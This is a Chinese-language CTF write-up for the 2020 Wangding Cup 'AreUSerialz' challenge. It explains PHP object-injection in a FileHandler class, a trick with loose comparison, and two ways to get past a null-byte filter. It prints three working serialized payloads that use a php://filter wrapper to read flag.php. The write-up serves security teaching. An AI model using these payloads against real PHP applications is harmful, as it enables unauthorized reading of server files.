[网鼎杯 2020 青龙组]AreUSerialz 1
首先根据题目提示,打开环境得到:
得到的源码发现有反序列化函数
然后就通过代码审计,找到关键代码: 当面我们创建的对象销毁时会自动调用这个命令 于是就可以利用反序列化创建一个对象,销毁调用这个魔术方法
而且这个魔术方法调用了process()方法,于是就看这个方法:
发现这个方法调用了write()和read()的方法,而且是对op进行判断 如果op等于1则进入写,打算用这个写一句话木马,但__destruct()方法 中对写的内容进行了覆盖,所以写不进去内容。
而且__destruct()方法还对op进行了判断当op强相等于字符2时把op 赋值为字符1,然后在process(),判断为1,则还是进入write()方法, 这里我们能利用的时read()的方法,读取flag.php文件
可以利用php中的弱相等,int类型的2与字符类型的2,在__destruct()的强相等下是不等的,所以不会赋值,而弱相等情况下又是相等的 所以利用这一点就可以进入到read()的方法。 在读取文件时我们不知道文件路径,但可以李PHP为协议来进行 文件读取: php://filter/read=convert.base64-encode/resource=flag.php 所以: filename的值为: php://filter/read=convert.base64-encode/resource=flag.php
还需要注意的是我们的,对象属性为protected是受保护的 所以我们在字节流是: payload:
O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;:11:"%00*%00filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"%00*%00content";i:123;}
但是
对%00进行了过滤,因为%00为NULL在ASCII中为0,所以被过滤了
这里能绕过的方法有两种:
一,对象的属性不敏敏
可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了 于是就把属性定义为公有属性得到payload:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";i:123;}
得到:
解码得到flag:
二、利用16进制编码绕过
绕过的方法是在序列化内容中用大写S表示字符串,这时这个字符串就支持将后面的字符串用16进制表示
所以构造的payload:
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";i:123;}
得到:
解码得到:
|